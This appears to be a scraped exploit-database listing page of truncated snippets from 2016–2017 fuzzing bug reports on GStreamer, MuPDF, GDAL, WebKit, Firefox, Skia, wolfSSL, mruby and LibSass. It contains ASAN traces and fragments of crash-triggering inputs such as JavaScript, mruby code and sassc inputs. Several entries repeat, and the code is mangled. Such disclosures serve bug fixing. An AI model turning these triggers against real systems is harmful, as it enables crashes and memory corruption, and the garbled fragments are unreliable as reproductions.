GStreamer gst-plugins-bad Plugin - NULL Pointer Dereference Vulnerability

Exploit for linux platform in category dos / poc Source: https://bugzilla.gnome.org/showbug.cgi?id=775120 The attached file will cause a null pointer access and segfault in the mpegts parser. Current git code, found with afl. ASAN stack trace:...

GStreamer gst-plugins-bad Plugin - NULL Pointer Dereference

GStreamer gst-plugins-bad Plugin - NULL Pointer Dereference Source: https://bugzilla.gnome.org/showbug.cgi?id=775120 The attached file will cause a null pointer access and segfault in the mpegts parser. Current git code, found with afl. ASAN stack trace:...

GStreamer gst-plugins-bad Plugin - NULL Pointer Dereference

Source: https://bugzilla.gnome.org/showbug.cgi?id=775120 The attached file will cause a null pointer access and segfault in the mpegts parser. Current git code, found with afl. ASAN stack trace: ================================================================= ==32545==ERROR: AddressSanitizer: SE...

Artifex MuPDF - Null Pointer Dereference Vulnerability

Exploit for linux platform in category dos / poc Source: https://bugs.ghostscript.com/showbug.cgi?id=697500 POC to trigger null pointer dereference mutool After some fuzz testing I found a crashing test case. Git HEAD: 8eea208e099614487e4bd7cc0d67d91489dae642 To reproduce: mutool convert -F cbz...

Artifex MuPDF - Null Pointer Dereference

Artifex MuPDF - Null Pointer Dereference Source: https://bugs.ghostscript.com/showbug.cgi?id=697500 POC to trigger null pointer dereference mutool After some fuzz testing I found a crashing test case. Git HEAD: 8eea208e099614487e4bd7cc0d67d91489dae642 To reproduce: mutool convert -F cbz...

Artifex MuPDF - Null Pointer Dereference

Source: https://bugs.ghostscript.com/showbug.cgi?id=697500 POC to trigger null pointer dereference mutool After some fuzz testing I found a crashing test case. Git HEAD: 8eea208e099614487e4bd7cc0d67d91489dae642 To reproduce: mutool convert -F cbz nullptrfzpaintpixmapwithmask -o /dev/null ASAN:...

gdal: Heap-buffer-overflow in DGN_INT16

Project: https://github.com/OSGeo/gdal.git Detailed report: https://oss-fuzz.com/testcase?key=6484425665675264 Project: gdal Fuzzer: libFuzzergdalogrfilesystemfuzzer Job Type: libfuzzerasangdal Platform Id: linux Crash Type: Heap-buffer-overflow READ 1 Crash Address: 0x616000005982 Crash State:...

WebKit: UXSS via Editor::Command::execute(CVE-2017-2504)

An issue was discovered in certain Apple products. iOS before 10.3.2 is affected. Safari before 10.1.1 is affected. tvOS before 10.2.1 is affected. The issue involves the "WebKit" component. It allows remote attackers to conduct Universal XSS UXSS attacks via a crafted web site that improperly...

Mozilla Firefox < 53 - 'ConvolvePixel' Memory Disclosure

/home/worker/workspace/build/src/gfx/2d/FilterNodeSoftware.cpp:2358 2 0x7f8d3fcd397d in alreadyAddRefed mozilla::gfx::FilterNodeConvolveMatrixSo...

Skia Graphics Library - Heap Overflow due to Rounding Error in SkEdge::setLine

/ Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1155 Skia bug: https://bugs.chromium.org/p/skia/issues/detail?id=6294 There is a heap overflow in SkARGB32ShaderBlitter::blitH caused by a rounding error in SkEdge::setLine. To trigger the bug Skia needs to be compiled with...

Mozilla Firefox 53 - gfxTextRun Out-of-Bounds Read

Mozilla Firefox 53 - gfxTextRun Out-of-Bounds Read .class1 float: left; white-space: pre-line; .class2 border-bottom-style: solid; font-face: Arial; font-size: 7ex; function go menuitem.appendChilddocument.body.firstChild; canvas.toBlobcallback; function callback var s = menu.style;...

wolfSSL 3.10.2 - x509 Certificate Text Parsing Off-by-One

TALOS-2017-0293 WOLFSSL LIBRARY X509 CERTIFICATE TEXT PARSING CODE EXECUTION VULNERABILITY MAY 8, 2017 CVE-2017-2800 SUMMARY An exploitable off-by-one write vulnerability exists in the x509 certificate parsing functionality of wolfSSL library versions up to 3.10.2. A specially crafted x509...

shopify-scripts: OP_SCALL in LHS of a OP_ASGN resulting in arbitrary memory write

PoC x = 0x4242422a a = &.=0 a = &.=0 Generated Opcodes irep 0x60c000014440 nregs=5 nlocals=3 pools=1 syms=0 reps=0 file: crashes/b.rb 3 000 OPLOADL R1 L0 ; 1111638570 ; R1:x 4 001 OPARRAY R3 R3 0 4 002 OPLOADI R4 0 4 003 OPARYCAT R2 R3 ; R2:a 5 004 OPARRAY R2 R2 0 ; R2:a R2:a 5 005 OPLOADI R3 0 5...

LibSass: stack overflow #6 in libsass

Feeding //0i: to ./sassc -s triggers this stack overflow. ==11380==ERROR: AddressSanitizer: stack-overflow on address 0x7fff1665bfa8 pc 0x000000584802 bp 0x7fff1665c810 sp 0x7fff1665bfb0 T0 0 0x584801 in asanmemcpy /home/geeknik/sassc/bin/sassc+0x584801 1 0x87a353 in char const...

LibSass: stack overflow #3 in libsass

./sassc test387 /dev/null triggers this stack overflow. ==9081==ERROR: AddressSanitizer: stack-overflow on address 0x7fffb48eadc0 pc 0x00000087a07b bp 0x7fffb48eba30 sp 0x7fffb48ead60 T0 0 0x87a07a in Sass::Parser::parsefactor /home/geeknik/libsass/src/parser.cpp:1379 1 0x878304 in...

LibSass: stack overflow in libsass

By pasting @H into ./sassc -s, we're able to trigger this stack overflow. ==3470==ERROR: AddressSanitizer: stack-overflow on address 0x7ffe1b09ffc8 pc 0x00000059bc77 bp 0x7ffe1b0a0820 sp 0x7ffe1b09ffd0 T0 0 0x59bc76 in interceptormalloc /home/geeknik/sassc/bin/sassc+0x59bc76 1 0x7f842fedb2e7 in...

shopify-scripts: heap-buffer-overflow (read outside of buffer) in mrb_vm_exec()

Triggered in 3231219 14 April 2017. Compiled with afl-gcc + asan. ./mirb test000 ==10555==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200001c920 at pc 0x52be2c bp 0x7ffe6751ada0 sp 0x7ffe6751ad98 READ of size 16 at 0x60200001c920 thread T0 0 0x52be2b in mrbvmexec...

LibSass: heap-buffer-overflow (read outside of buffer) in Sass::Prelexer::exactly<(char)92>(char const*) - libsass/src/lexer.hpp:92

Built with afl-clang-fast from git source 5909ba5. Feeding a file that contains nothing but '\ to sassc triggers this flaw. ==22006==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000ef93 at pc 0x000000907c6a bp 0x7fff656d9430 sp 0x7fff656d9428 READ of size 1 at 0x60200000ef93...

Apple WebKit - JSC::B3::Procedure::resetReachability Use-After-Free Exploit

Exploit for multiple platform in category dos / poc function for var i = 0; i 1000000; ++i const v = Array & 1 ? v : 1; typeof o = 'object'; ; !-- Asan Log: ================================================================= ==32191==ERROR: AddressSanitizer: heap-use-after-free on address...

Apple WebKit - JSC::SymbolTableEntry::isWatchable Heap Buffer Overflow Exploit

Exploit for multiple platform in category dos / poc function x = 0 var a; function arguments function b var g = 1; a5; f; g; ; , unsigned int, unsigned int webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+...